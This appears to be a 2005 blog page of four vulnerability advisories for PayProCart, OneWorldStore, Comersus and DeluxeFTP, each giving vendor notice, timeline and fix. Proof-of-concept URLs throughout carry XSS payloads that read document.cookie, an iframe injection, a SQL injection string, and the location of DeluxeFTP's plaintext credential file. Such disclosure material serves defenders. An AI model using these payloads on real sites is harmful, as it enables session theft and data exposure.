PayProCart multiple variable XSS & path disclosure

Wednesday, April 20, 2005
###################################################
PayProCart multiple variable XSS & path disclosure
vendor:http://www.profitcode.net/products/payprocart.html
vendor confirmed: yes exploit avaible: yes
advisore:http://lostmon.blogspot.com/2005/04/
payprocart-multiple-variable-xss-path.html
OSVDB IDS:15528,15529,15530,15531,15532,15533,
15534,15535,15536,15537,15538
Secunia:SA15025
BID: 13299,13302.13303,13304,13305,
13306,13307,13308,13309
##################################################


found in a internal test wen documented latest vulnerabilities in
Profitcode PayProCart 3.0

PayProCart contains a flaw that allows a remote cross site scripting
attack.This flaw exists because the application does not validate
'username','chckoutaction','ckprvd' and 'pageID' upon submission
to the 'cart.php' and 'index.php' script.This could allow a user to create
a specially crafted URL that would execute arbitrary code in a user's
browser within the trust relationship between the browser and the
server,leading to a loss of integrity.

Also in adminshop secction we found some flaws in 'hdoc','modID',
'taskID','proMod' variables, upon submission to the
'adminshop/index.php' script , 'mmactionComm' variable,upon
submission to the 'mmailer/index.php' script but it can only
exploiting for a autenticated admin.

Other scripts can be vulnerables to same attack style.

#########
versions
#########

3.0 vulnerable.
3.1 not tested

#############
solution:
#############

Upgrade to version 3.1 or higher, as it has been reported to fix this
vulnerability. An upgrade is required as there are no known workarounds.

some code features are change in PayProCart 3.1 and most bug fixes
the vendor´s continue working whith all of these flaws.

download update url: http://www.profitcode.net/products/payprocart-31.html

##########
timeline
##########

discovered: 6 april 2005
vendor notify: 7 april 2005
vendor respose:7 april 2005
disclosure: 15 april 2005
public disclosure: 20 april 2005


################
proof of concepts.
################
################################
index.php Multiple Variable XSS
################################

http://[target]/path_to_store/index.php?modID=uauthcfrm&cnfType=
muec"><script>alert(document.cookie)</script>
//need client login

http://[target]/path_to_store/index.php?modID=usrauthlogin&sgnuptype=
csaleID&username=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script
%3E&errorMsgNum=301

http://[target]/path_to_store/index.php?modID=usrauthlogin[XSS-code]



############################
cart.php ckprvd Variable XSS
############################

http://[target]/path_to_store/cart.php?chckoutaction=1&ckprvd=
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

##########################################
adminshop/index.php Multiple Variable XSS
##########################################

http://[target]/path_to_store/adminshop/index.php?hdoc=index
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://[victim]/path_to-store/adminshop/index.php?taskID=
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://[target]/path_to_store/adminshop/index.php?proMod=
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://[target]/path_to_store/adminshop/index.php?modID=
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

###########################################################
adminshop/mmailer/index.php mmactionComm Variable XSS
###########################################################

http://[target]/path_to_store/adminshop/mmailer/index.php?mmactionComm=
mmShowMailingLists%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

############################################
tplates/usrauthlogin.php username field XSS
############################################

http://[target]/path_to_store/index.php?modID=usrauthlogin&sgnuptype=
csaleID&username=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script
%3E&errorMsgNum=301

########################################
Template function.main Path Disclosure
########################################

/tplates/csaleID.php
/tplates/emailconfirm.php
/tplates/grpcom.php
/tplates/help.php
/tplates/uauthcfrm.php
/tplates/usrcarts.php
/tplates/wsaleID.php

################################################
mailingsignup.php Direct Request Path Disclosure
################################################

/tplates/mailingsignup.php

###############################################
newitems.php Direct Request Path Disclosure
###############################################

/tplates/newitems.php

############################################
specials.php Direct Request Path Disclosure
############################################

/tplates/specials.php

########################################
/tplates/usrauthstamp.php IP Disclosure
########################################

http://[victim]/payprocart/index.php?modID=usrauthlogin&sgnuptype=
csaleID&username=%22%3E%3Ciframe%20src=http://[victim]/payprocart
/tplates/usrauthstamp.php%3E%3Ciframe%3E&errorMsgNum=301

(concern, used in conjunction with XSS)

#######################################################
mainincs/checkout_totaltrans.php Information Disclosure
#######################################################

http://[victim]/payprocart/index.php?modID=usrauthlogin&sgnuptype=
csaleID&username=%22%3E%3Ciframe%20src=http://[victim]/payprocart
/mainincs/checkout_totaltrans.php%3E%3Ciframe%3E&errorMsgNum=301

(concern, used in conjunction with XSS)

############################################
aff/index.php multiple variable XSS
############################################

http://[target]/path_to_store/aff/index.php?pageID=agreementENG
%22%3E%3h1%3Elalalal%3C/h1%3E
//need client login

http://[target]/path_to_store/aff/index.php?modID=clicks_graph
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
// nedd client login.

####### end #######

thnx to estrella to be my ligth
thnx to johnyd of PayProCart, very good vendor, he can be sure that if
needs to test something,one make this with taste:D
thnx to all http://www.osvdb.org Team
thnx to JxT and jericho for the support

atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Data Mangler of: http://www.osvdb.org
--
La curiosidad es lo que hace mover la mente....

OneWorldStore 'sIDSearch' DisplayResults.asp XSS and SQL injection

Monday, April 18, 2005
################################################
OneWorldStore DisplayResults.asp sIDSearch Variable XSS and SQL Injection
vendor url:http://oneworldstore.com/
vendor notified : yes exploit available: yes
advisory:http://lostmon.blogspot.com/2005/04/
oneworldstore-sidsearch.html
OSVDB ID: 15659 and 15660
Securitytracker:1013754
secunia:SA14969
BID:13251 and 13249
################################################

related vendor´s security bulletin:
http://oneworldstore.com/support_security_issue_updates.asp

Found during an internal test when documenting and testing latest
vulnerabilities found by Diabolic Crab ( reference:
http://www.digitalparadox.org/advisories/ows.txt)

good work Diabolic !!

oneWorldStore is a powerful desing asp shopping cart.

oneWorldStore contains a flaw that allows a remote cross site
scripting attack and sql inject comands.This flaw exists because
the application does not validate 'sIDSearch' upon submission to
the '/owSearch/DisplayResults.asp' script.This could allow a user
to create a specially crafted URL that would execute arbitrary code
in a user's browser within the trust relationship between the
browser and the server, leading to a loss of integrity.

##########
versions:
##########

OneWorldStore unknow version

some versions here:
http://oneworldstore.com/products_price_list.asp

also is posible what others versions are afected.

##########
solution:
##########

vendor´s fix/patch see :
http://www.oneworldstore.com/
support_security_issue_updates.asp


http://www.oneworldstore.com/support_updates.asp

http://www.oneworldstore.com/updatezips/Security
Update_Apr_18_2005_All_Editions.zip

timeline:

discovered : 15 april 2005
vendor notify : 18 april 2005 (web form)
vendor response: 18 april 2005
vendor patch/fix: 18 april 2005
disclosure: 18 april 2005

####################
proof of concept:
###################

SQL INJECTION:

http://[victim]/owSearch/DisplayResults.asp?sIDSearch=15%20or%201=1 //command execution !!

Cross-site scripting:

http://[victim]/owSearch/DisplayResults.asp?sIDSearch=15
"><META%20HTTP-EQUIV=Refresh%20CONTENT=0>

http://[victim]/owSearch/DisplayResults.asp?sIDSearch=1
"><h1>lalala</h1>

##########################
related vendor response :
##########################
From: Dean Higginbotham
To: Lostmon@gmail.com
Date: Apr 18, 2005 7:28 PM
Subject: RE: OneWorldStore Support Inquiry -- Technical

Lostmon,

I've applied several fixes to these files:
/owSearch/DisplayResults.asp
/owSearch/PrepareResults.asp
The fixes have been applied to all Editions.

Fixes include:
1. Converting all numeric inputs from form or QueryString text to
actual numeric data types. If the data is nonnumeric or blank,
it converts it to a 0.

2. Trimming all text inputs from form or QueryString. Trimming
keywords to 250 characters. Trimming flags to one character.
Trimming sort criteria (SOHO, Business & Enterprise only) to 20
characters.

3. Displaying all text that has passed through a form or QueryString
using the Server.HTMLEncode() filter.

I have also added these patched files to an update within our member
section on the site. In a few minutes I am also going to add it to our
security announcement page so people know about it:
http://www.oneworldstore.com/support_security_issue_updates.asp

Would you also still release your findings on your site? And say that
there is a patch on our site (I've also attached it to this email if you
would like to review it)? Because we want people who have downloaded
the Free and Basic Editions to be able to know about the patch. And we
do not have email addresses for any people who downloaded the Free
Edition, and very few for the Basic Edition.
####################################

############
thnx
############

thnx to estrella to be my ligth
thnx to all http://www.osvdb.org Team
thnx to all who day after day support me !!!
thnx to vendor very fast respose and very fast release a fix good work !!
--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Data Mangle of: http://www.osvdb.org
--
La curiosidad es lo que hace mover la mente....

comersus ASP shopping cart variable XSS

Tuesday, April 12, 2005
##############################################
comersus ASP shopping cart 'curPage' variable XSS
vendor url: www.comersus.com
advisore url:http://lostmon.blogspot.com/2005/04/
comersus-asp-shopping-cart-variable.html
vendor notified : yes exploit avaible: yes
OSVDB ID:15539
BID : 13125
Securitytracker: 1013747
##############################################

comersus has a flaw that allows a remote cross site scripting attack.
This flaw exists because the application does not validate 'curpage'
variable upon submission to 'comersus_searchItem.asp' script.This
could allow a user to create a specially crafted URL that would execute
arbitrary code in a user's browser within the trust relationship
between the browser and the server,leading to a loss of integrity.

comersus versions:

3.90
4.00
4.14
4.20b
4.23
4.27
4.28
4.29
4.36
4,47
4.051
v6 beta not afected.

solution:

Upgrade to version v6 beta or higher, as it has been reported
to fix this vulnerability.An upgrade is required as there are
no known workarounds.

exploit:

http://[target]/store/comersus_searchItem.asp?strSearch=0&curPage=2
">%3Cscript%3Ealert(document.cookie)%3C/script%3E



thnx to estrella to be my ligth
thnx to all,day after day support me

--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Data Mangle of: http://www.osvdb.org
La curiosidad es lo que hace mover la mente....

DeluxeFTP plain text passwords disclosure

Monday, April 11, 2005
###########################################
deluxeFTP plain text passwords disclosure
vendor url:http://www.deluxeftp.com/
vendor notified: yes exploit avaible: yes
advisore url:http://lostmon.blogspot.com/2005/04/
deluxeftp-plain-text-passwords.html
OSVDB ID: 15421
Secunia:SA14923
###########################################

DeluxeFTP contains a flaw that may lead to an unauthorized user
name and password exposure. It is possible to gain access to plain
text user name and password of the ftp sites configured when the
program writes its configuration in 'sites.xml' file, which may lead
to a loss of confidentiality.

##########
version:
##########

DeluxeFTP 6.0.1 afected.
DeluxeFTP Professional 7.0.1 beta afected


###########
solution:
###########

Currently, there are no known upgrades, patches, or workarounds
available to correct this issue.

###########
timeline:
###########

discovered: 09/04/2005
vendor notified: 10/04/2005
disclosure date: 11/04/2005

##########
exploit:
##########

c:\program files\DeluxeFTP\sites.xml
c:\program files\DeluxeFTP Professional\sites.xml

and in this file we look what wen we look for the sites what
we have configured we look this information:

<SITE name="Test">
<ADDRESS>PLAINTEXT_FTP_HOST</ADDRESS>
<PORT>21</PORT>
<PASVMODE>0</PASVMODE>
<LOGIN>PLAINTEXT_USERNAME</LOGIN>
<PASSWORD>PLAINTEX_PASSWORD</PASSWORD>
<REMOTEPATH />


########
thanks
########

thnx to estrella she is always in my mind
thnx to all who support me day at day

--
atentamente:

Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Data Mangle of: http://www.osvdb.org
La curiosidad es lo que hace mover la mente....
 

Browse

About:Me

My blog:http://lostmon.blogspot.com
Mail:Lostmon@gmail.com
Lostmon Google group
Lostmon@googlegroups.com

La curiosidad es lo que hace
mover la mente...

Friends